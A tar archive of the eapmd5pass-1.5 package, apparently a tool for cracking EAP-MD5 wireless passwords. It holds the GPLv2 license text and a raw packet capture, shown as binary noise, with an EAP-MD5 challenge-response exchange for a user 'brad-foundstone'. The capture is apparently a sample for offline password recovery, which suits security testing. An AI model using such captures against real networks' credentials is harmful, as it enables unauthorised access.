pax_global_header00006660000000000000000000000064131410713450014511gustar00rootroot0000000000000052 comment=3d5551fc28931351196883b39de92afe65d27789 eapmd5pass-1.5/000077500000000000000000000000001314107134500134205ustar00rootroot00000000000000eapmd5pass-1.5/.gitignore000066400000000000000000000000151314107134500154040ustar00rootroot00000000000000*.orig *.rej eapmd5pass-1.5/COPYING000066400000000000000000000431271314107134500144620ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. eapmd5pass-1.5/EAPMD5-Challenge-01.cap000066400000000000000000001346251314107134500171310ustar00rootroot00000000000000òitGvQQyyddtest$0Hl */2 `tGn` P:oyydydtest$0Hl */02 `PPPPPtGnf P:oyyd?dtest$0Hl */02 `PPPPPtGun P:oyyddtest$0Hl */02 `PPPPPtGm~ P:oyydXdtest$0Hl */02 `PPPPPtGm P:oyyd dtest$0Hl */02 `PPPPPtGm P:oyyddtest$0Hl */02 `PPPPPtGu P:oyydBdtest$0Hl */02 `PPPPPtGu*P:&yyedtest$0Hl */02 `PPPPPtGvxP:&yyedtest$0Hl */02 `PPPPPtGl }tGuP:&yy0e+rdtest$0Hl */02 `PPPPPtGujP:&yy@ePdtest$0Hl */02 `PPPPPtGoj ytGrv }tGs }tGu P:&yyPeedtest$0Hl */02 `PPPPPtGo  ytGt }tGuZ }tGt`P:&yype/dtest$0Hl */02 `PPPPPtGm` ytGlP:yye H$dtest$0Hl */02 `PPPPPtGlP:yyeHP$dtest$0Hl */02 `PPPPPtGlP:yyeX$dtest$0Hl */02 `PPPPPtGlP:yye]_$dtest$0Hl */02 `PPPPPtGuP:yye_m$dtest$0Hl */02 `PPPPPtGmP:yyes$dtest$0Hl */02 `PPPPPtGlP:yye3z$dtest$0Hl */02 `PPPPPtGo. P:oyyeԉ)dtest$0Hl */02 `PPPPPtGn4 P:oyye.)dtest$0Hl */02 `PPPPPtGn< P:oyye)dtest$0Hl */02 `PPPPPtGnD P:oyye)dtest$0Hl */02 `PPPPPtGtP P:oyye)dtest$0Hl */02 `PPPPPtGo` P:oyye)dtest$0Hl */02 `PPPPPtGn P:oyye|)dtest$0Hl */02 `PPPPPtGo P:oyyfQ*dtest$0Hl */02 `PPPPPtGm P:oyyfY*dtest$0Hl */02 `PPPPPtGnP:oyyf`*dtest$0Hl */02 `PPPPPtGnP:oyyfui*dtest$0Hl */02 `PPPPPtGnP:oyyfs*dtest$0Hl */02 `PPPPPtGm.P:oyyf&*dtest$0Hl */02 `PPPPPtGn<P:oyyf*dtest$0Hl */02 `PPPPPtGlP:yyg+Bdtest$0Hl */02 `PPPPPtGlP:yygBdtest$0Hl */02 `PPPPPtGA wCtGlP:yygBdtest$0Hl */02 `PPPPPtGvP:yygBdtest$0Hl */02 `PPPPPtGwP:yygBdtest$0Hl */02 `PPPPPtGl&P:yyg~Cdtest$0Hl */02 `PPPPPtGlLP:yyg+Cdtest$0Hl */02 `PPPPPtGx P:]yyPgGdtest$0Hl */02 `PPPPPtGx P:]yyPgGdtest$0Hl */02 `PPPPPtGX ytGY }tGm2 P:oyy`gHdtest$0Hl */02 `PPPPPtGm8 P:oyy`gHdtest$0Hl */02 `PPPPPtGl> P:oyy`g6Hdtest$0Hl */02 `PPPPPtGlJ P:oyy`g)Hdtest$0Hl */02 `PPPPPtGxP P:oyy`g0Hdtest$0Hl */02 `PPPPPtGl^ P:oyy`g>Hdtest$0Hl */02 `PPPPPtGw P:oyy`giHdtest$0Hl */02 `PPPPPtGx P:]yygrHdtest$0Hl */02 `PPPPPtGV A]tGm P:]yygR|Hdtest$0Hl */02 `PPPPPtGn P:]yyg-Hdtest$0Hl */02 `PPPPPtGw P:]yygYHdtest$0Hl */02 `PPPPPtGm P:]yygBHdtest$0Hl */02 `PPPPPtGv P:]yygHdtest$0Hl */02 `PPPPPtGK A]tGxP:]yygHdtest$0Hl */02 `PPPPPtGnP:]yygRHdtest$0Hl */02 `PPPPPtGmP:]yygRHdtest$0Hl */02 `PPPPPtGw&P:]yygIdtest$0Hl */02 `PPPPPtGM( ytGn4P:oyy@hUXdtest$0Hl */02 `PPPPPtGn:P:oyy@h]Xdtest$0Hl */02 `PPPPPtGnBP:oyy@hcXdtest$0Hl */02 `PPPPPtGmJP:oyy@hmXdtest$0Hl */02 `PPPPPtGmXP:oyy@hyXdtest$0Hl */02 `PPPPPtGn^P:oyy@hXdtest$0Hl */02 `PPPPPtGm|P:oyy@h?Xdtest$0Hl */02 `PPPPPtGD wCtGyBP:oyyhgdtest$0Hl */02 `PPPPPtGyJP:oyyhTgdtest$0Hl */02 `PPPPPtGIJ ytGp P:oyyi 6vdtest$0Hl */02 `PPPPPtGn P:oyyiJ=vdtest$0Hl */02 `PPPPPtGo P:oyyi2Dvdtest$0Hl */02 `PPPPPtGo P:oyyiMvdtest$0Hl */02 `PPPPPtGo P:oyyi^vdtest$0Hl */02 `PPPPPtGn P:oyyiYivdtest$0Hl */02 `PPPPPtGo P:oyyiovdtest$0Hl */02 `PPPPPtGv P:oyyivdtest$0Hl */02 `PPPPPtGv P:oyyiϝvdtest$0Hl */02 `PPPPPtGvP:oyyivdtest$0Hl */02 `PPPPPtGw P:oyyiCvdtest$0Hl */02 `PPPPPtGwP:oyyi{vdtest$0Hl */02 `PPPPPtGx2P:oyyivdtest$0Hl */02 `PPPPPtGwXP:oyyivdtest$0Hl */02 `PPPPPtGnP:Myyi;{dtest$0Hl */02 `PPPPPtGqP:Myyi{dtest$0Hl */02 `PPPPPtGoP:MyyiѢ{dtest$0Hl */02 `PPPPPtGnP:Myyi{dtest$0Hl */02 `PPPPPtGwP:Myyi{dtest$0Hl */02 `PPPPPtGpP:Myyi{dtest$0Hl */02 `PPPPPtGwP:MyyiS{dtest$0Hl */02 `PPPPPtGv P:Myy@jkdtest$0Hl */02 `PPPPPtGn P:Myy@j׵dtest$0Hl */02 `PPPPPtGu P:Myy@jSdtest$0Hl */02 `PPPPPtGo P:Myy@jdădtest$0Hl */02 `PPPPPtGv P:Myy@jуdtest$0Hl */02 `PPPPPtGw P:Myy@jdtest$0Hl */02 `PPPPPtGp P:Myy@jdtest$0Hl */02 `PPPPPtGy }tGy }tGx }tGx }tGy }tGH lJFtGUZ EWtGv>P:Myy`kndtest$0Hl */02 `PPPPPtGvDP:Myy`kưdtest$0Hl */02 `PPPPPtGjJP:Myy`kYdtest$0Hl */02 `PPPPPtGwVP:Myy`kdtest$0Hl */02 `PPPPPtGvdP:Myy`kѝdtest$0Hl */02 `PPPPPtGvlP:Myy`kڝdtest$0Hl */02 `PPPPPtGvP:yykmdtest$0Hl */02 `PPPPPtGvP:yyktdtest$0Hl */02 `PPPPPtGjP:yyka|dtest$0Hl */02 `PPPPPtGvP:yykrdtest$0Hl */02 `PPPPPtGu P:yykdtest$0Hl */02 `PPPPPtG|. }tGkBP:yykdtest$0Hl */02 `PPPPPtGuJP:yykDdtest$0Hl */02 `PPPPPtGkRP:Myykdtest$0Hl */02 `PPPPPtG{R ytGvP:@6Jyyldtest$0Hl */02 `PPPPPtGnP:@6Jyyl>dtest$0Hl */02 `PPPPPtGnP:@6Jyyldtest$0Hl */02 `PPPPPtGmP:@6Jyyldtest$0Hl */02 `PPPPPtGnP:@6JyylƩdtest$0Hl */02 `PPPPPtGm0P:@6Jyylvߩdtest$0Hl */02 `PPPPPtGmBP:@6Jyyldtest$0Hl */02 `PPPPPtGnnP:@6Jyy ldtest$0Hl */02 `PPPPPtG\n ytG\| 9gDtGZ 9htG[ 9gtG[ }tG[ 9gtGoP:9LyyPl,dtest$0Hl */02 `PPPPPtGR ytGR }tGn.P:9Lyy`lܭdtest$0Hl */02 `PPPPPtGS. ytGR8 }tGuP:9Lyyl>dtest$0Hl */02 `PPPPPtGoP:9Lyyldtest$0Hl */02 `PPPPPtGvP:9LyylH dtest$0Hl */02 `PPPPPtGv&P:9Lyyldtest$0Hl */02 `PPPPPtGv0P:9Lyyl`"dtest$0Hl */02 `PPPPPtGu>P:9Lyyl>0dtest$0Hl */02 `PPPPPtGu\P:9Lyyl Mdtest$0Hl */02 `PPPPPtGuP:9Lyylrdtest$0Hl */02 `PPPPPtGoP:9Lyylxdtest$0Hl */02 `PPPPPtGoP:9Lyyl#dtest$0Hl */02 `PPPPPtGoP:9Lyyl<dtest$0Hl */02 `PPPPPtGtP:9Lyylcdtest$0Hl */02 `PPPPPtGuP:9Lyyldtest$0Hl */02 `PPPPPtGnP:9Lyyldtest$0Hl */02 `PPPPPtGO$ }tGP: }tGutP:9Lyym9fdtest$0Hl */02 `PPPPPtGt|P:9Lyymamdtest$0Hl */02 `PPPPPtGtP:9Lyymtdtest$0Hl */02 `PPPPPtGtP:9Lyym({dtest$0Hl */02 `PPPPPtGoP:9Lyymdtest$0Hl */02 `PPPPPtGtP:9Lyymdtest$0Hl */02 `PPPPPtGtP:9LyymDdtest$0Hl */02 `PPPPPtGtP:yy@m dtest$0Hl */02 `PPPPPtGn"P:yy@m dtest$0Hl */02 `PPPPPtGm.P:yy@m dtest$0Hl */02 `PPPPPtGt8P:yy@m*dtest$0Hl */02 `PPPPPtGoDP:yy@m5dtest$0Hl */02 `PPPPPtGtRP:yy@mtDdtest$0Hl */02 `PPPPPtGtzP:yy@m#ldtest$0Hl */02 `PPPPPtGwTP:Myymdtest$0Hl */02 `PPPPPtGT ytG^ }tGkP:&Qhyyn6dtest$0Hl */02 `PPPPPtGxP:&Qhyynodtest$0Hl */02 `PPPPPtGxP:&Qhyynedtest$0Hl */02 `PPPPPtGkP:&QhyynOdtest$0Hl */02 `PPPPPtGwP:&Qhyyndtest$0Hl */02 `PPPPPtGwP:&Qhyyn dtest$0Hl */02 `PPPPPtGjP:&Qhyyndtest$0Hl */02 `PPPPPtGD w#tGS0 EWtGY EWtGvp P:Myyndtest$0Hl */02 `PPPPPtG}r ytGv }tGkxP:)jyyo-rdtest$0Hl */02 `PPPPPtGk~P:)jyyoxdtest$0Hl */02 `PPPPPtGuP:)jyyoBdtest$0Hl */02 `PPPPPtGuP:)jyyo1dtest$0Hl */02 `PPPPPtGuP:)jyyo@dtest$0Hl */02 `PPPPPtGkP:)jyyo dtest$0Hl */02 `PPPPPtGuP:)jyyodtest$0Hl */02 `PPPPPtGF wCtGo P:Ayy@pwdtest$0Hl */02 `PPPPPtGp P:Ayy@p.dtest$0Hl */02 `PPPPPtGp P:Ayy@pdtest$0Hl */02 `PPPPPtGo P:Ayy@pdtest$0Hl */02 `PPPPPtGp P:Ayy@p_dtest$0Hl */02 `PPPPPtGt P:Ayy@pZdtest$0Hl */02 `PPPPPtGp$P:Ayy@pM dtest$0Hl */02 `PPPPPtGu P:Myy`q dtest$0Hl */02 `PPPPPtG| ytG| }tGnP:Ҟyyqp! dtest$0Hl */02 `PPPPPtGmP:Ҟyyq\x! dtest$0Hl */02 `PPPPPtGrP:Ҟyyq~! dtest$0Hl */02 `PPPPPtGmP:Ҟyyq8! dtest$0Hl */02 `PPPPPtGmP:Ҟyyq! dtest$0Hl */02 `PPPPPtGrP:Ҟyyq! dtest$0Hl */02 `PPPPPtGmP:Ҟyyq! dtest$0Hl */02 `PPPPPtGkVP:Ҟyyq" dtest$0Hl */02 `PPPPPtGlbP:Ҟyyq"" dtest$0Hl */02 `PPPPPtGkzP:Ҟyyq;" dtest$0Hl */02 `PPPPPtGpP:ҞyyqA" dtest$0Hl */02 `PPPPPtGpP:ҞyyqGH" dtest$0Hl */02 `PPPPPtGpP:ҞyyqN" dtest$0Hl */02 `PPPPPtGpP:ҞyyqhZ" dtest$0Hl */02 `PPPPPtGS EWtGp P:Myy`s!G dtest$0Hl */02 `PPPPPtGp P:Myy`s-G dtest$0Hl */02 `PPPPPtGo P:Myy`sm9G dtest$0Hl */02 `PPPPPtGp P:Myy`sBG dtest$0Hl */02 `PPPPPtGo P:Myy`s?NG dtest$0Hl */02 `PPPPPtGo P:Myy`s\G dtest$0Hl */02 `PPPPPtGoB P:Myy`s]G dtest$0Hl */02 `PPPPPtGmP:Myys O dtest$0Hl */02 `PPPPPtGkP:MyysHO dtest$0Hl */02 `PPPPPtGnP:}yys/ P dtest$0Hl */02 `PPPPPtGd ytGmP:}yysd1P dtest$0Hl */02 `PPPPPtGd ytGqP:}yy tS dtest$0Hl */02 `PPPPPtGpBP:}yy0tS dtest$0Hl */02 `PPPPPtGqtP:}yy@tJS dtest$0Hl */02 `PPPPPtGrP:}yyPt[$T dtest$0Hl */02 `PPPPPtGqP:}yypt U dtest$0Hl */02 `PPPPPtGmP:}yyptU dtest$0Hl */02 `PPPPPtGc ytGpP:}yyptJ$U dtest$0Hl */02 `PPPPPtGf ytGpP:}yyptV+U dtest$0Hl */02 `PPPPPtGe ytGpP:}yypt:U dtest$0Hl */02 `PPPPPtGe ytGl P:Myyt(W dtest$0Hl */02 `PPPPPtGz ytGz }tGz }tGsxP:ҟyytB^ dtest$0Hl */02 `PPPPPtGF~ 3ctGtP:ҟyytM^ dtest$0Hl */02 `PPPPPtGsP:ҟyytIU^ dtest$0Hl */02 `PPPPPtGsP:ҟyyt^^ dtest$0Hl */02 `PPPPPtGsP:ҟyytlg^ dtest$0Hl */02 `PPPPPtGtP:ҟyytw^ dtest$0Hl */02 `PPPPPtGsP:ҟyyt~^ dtest$0Hl */02 `PPPPPtGsP:Myydtest$0Hl */02 `PPPPPtG{ ytG }tGzP:Myy dtest$0Hl */02 `PPPPPtG|P:Myy dtest$0Hl */02 `PPPPPtG{P:Myy dtest$0Hl */02 `PPPPPtGzP:Myy dtest$0Hl */02 `PPPPPtGyP:Myy dtest$0Hl */02 `PPPPPtGyP:Myy  dtest$0Hl */02 `PPPPPtG{P:Myy dtest$0Hl */02 `PPPPPtGE w#tGD wCtG{ ..@:yMytest  0H2$`ltGw  MtGyP:MyyP9dtest$0Hl */02 `PPPPPtG{ ytG{:yMytGw MtGz&&:Myy`tG| ytG|HH:yMy 1 test $0Hl2 `0tGy MtGy(66:Myy$0Hl2 `tG{( ytGy* XytGx*)),MyytG{* ytG|, \MtGz,88,yMy0brad-foundstonetG, MtG|h XytGyh**,Myy tGyl XytGyl** ,Myy tG{l ytGx XMtG|**,yMy@tGz MtGm \ytGy::,MyytG{ ytG| \MtG::,yMyP A1e-;XctGy MtGy  XytGy ((,MyytG{  ytG}z XMtG{z H,yMy`tGwz MtG> 9ctGB l)tGw"P:^yyrdtest$0Hl */02 `PPPPPtGw0P:^yy)dtest$0Hl */02 `PPPPPtGw:P:^yyodtest$0Hl */02 `PPPPPtG{DP:^yyŸdtest$0Hl */02 `PPPPPtGwRP:^yyyџdtest$0Hl */02 `PPPPPtGyZP:^yyfٟdtest$0Hl */02 `PPPPPtGyhP:^yydtest$0Hl */02 `PPPPPtGzP:ҟyyDsdtest$0Hl */02 `PPPPPtGyP:ҟyyrzdtest$0Hl */02 `PPPPPtGyP:ҟyy鎱dtest$0Hl */02 `PPPPPtGzP:ҟyy?dtest$0Hl */02 `PPPPPtGyP:ҟyydtest$0Hl */02 `PPPPPtGtP:ҟyy۶dtest$0Hl */02 `PPPPPtGz$P:ҟyyadtest$0Hl */02 `PPPPPtGsP:}yy »dtest$0Hl */02 `PPPPPtGn ytGn }tGyP:}yy ddtest$0Hl */02 `PPPPPtGn ytGrP:}yy [dtest$0Hl */02 `PPPPPtGt ytGt }tGyP:}yy` <dtest$0Hl */02 `PPPPPtGpP:}yy` dtest$0Hl */02 `PPPPPtGxP:}yy` dtest$0Hl */02 `PPPPPtGxP:}yy` dtest$0Hl */02 `PPPPPtGxP:}yy` dtest$0Hl */02 `PPPPPtGxP:}yy` edtest$0Hl */02 `PPPPPtGxP:}yy` xdtest$0Hl */02 `PPPPPtGxP:}yyp dtest$0Hl */02 `PPPPPtGi }tGyP:}yy dtest$0Hl */02 `PPPPPtGyP:}yy dtest$0Hl */02 `PPPPPtGyP:}yy ʦdtest$0Hl */02 `PPPPPtGn ytGyP:}yy ĭdtest$0Hl */02 `PPPPPtGxP:}yy ۶dtest$0Hl */02 `PPPPPtGn ytGyP:}yy dtest$0Hl */02 `PPPPPtGn ytGxP:}yy dtest$0Hl */02 `PPPPPtGk ytG:yMyptGx MtG:yMyptGw MtG}:yMyptGw MtG~:yMyptGw MtG|:yMyptGw MtG|:yMyptGw MtGv P:Myyp r#dtest$0Hl */02 `PPPPPtG ytG }tGr P:Myyp /dtest$0Hl */02 `PPPPPtG{ ytGxFP:Myy edtest$0Hl */02 `PPPPPtGH ytGT }tGQ EWtGxP:Myy ˿dtest$0Hl */02 `PPPPPtGwP:Myy dtest$0Hl */02 `PPPPPtGwP:Myy rdtest$0Hl */02 `PPPPPtGwP:Myy ndtest$0Hl */02 `PPPPPtG| A]tGq P:oyy cdtest$0Hl */02 `PPPPPtGx P:oyy ndtest$0Hl */02 `PPPPPtGx P:oyy ^wdtest$0Hl */02 `PPPPPtGw P:oyy ґdtest$0Hl */02 `PPPPPtGw P:oyy *dtest$0Hl */02 `PPPPPtGw P:oyy Ldtest$0Hl */02 `PPPPPtGx P:oyy dtest$0Hl */02 `PPPPPtGwZP:oyy #dtest$0Hl */02 `PPPPPtGG\ ytGG` A]tGw@ P:Myy Ldtest$0Hl */02 `PPPPPtGB ytGJ }tGE 9_tGD* 9ctGp P:EWyy ?!dtest$0Hl */02 `PPPPPtGq P:EWyy Y!dtest$0Hl */02 `PPPPPtGq* P:EWyy !dtest$0Hl */02 `PPPPPtGk2 P:EWyy !dtest$0Hl */02 `PPPPPtGqp P:EWyy "dtest$0Hl */02 `PPPPPtGrv P:EWyy "dtest$0Hl */02 `PPPPPtGp P:EWyy "dtest$0Hl */02 `PPPPPtGr P:EWyyE*"dtest$0Hl */02 `PPPPPtGt P:EWyy@"dtest$0Hl */02 `PPPPPtGt P:EWyyQ\"dtest$0Hl */02 `PPPPPtGm ytGt P:EWyyb"dtest$0Hl */02 `PPPPPtGl ytGt P:EWyy "dtest$0Hl */02 `PPPPPtGm ytGm, }tGx2 P:EWyy@q"dtest$0Hl */02 `PPPPPtGm4 ytGxP P:EWyyPi"dtest$0Hl */02 `PPPPPtGmR ytGmX }tG|P:)jyyPR+:dtest$0Hl */02 `PPPPPtG{P:)jyyP1:dtest$0Hl */02 `PPPPPtG|*P:)jyyP?:dtest$0Hl */02 `PPPPPtG{2P:)jyyPlG:dtest$0Hl */02 `PPPPPtG{@P:)jyyPT:dtest$0Hl */02 `PPPPPtG{VP:)jyyPj:dtest$0Hl */02 `PPPPPtG{xP:)jyyP:dtest$0Hl */02 `PPPPPeapmd5pass-1.5/LICENSE000066400000000000000000000431761314107134500144400ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public 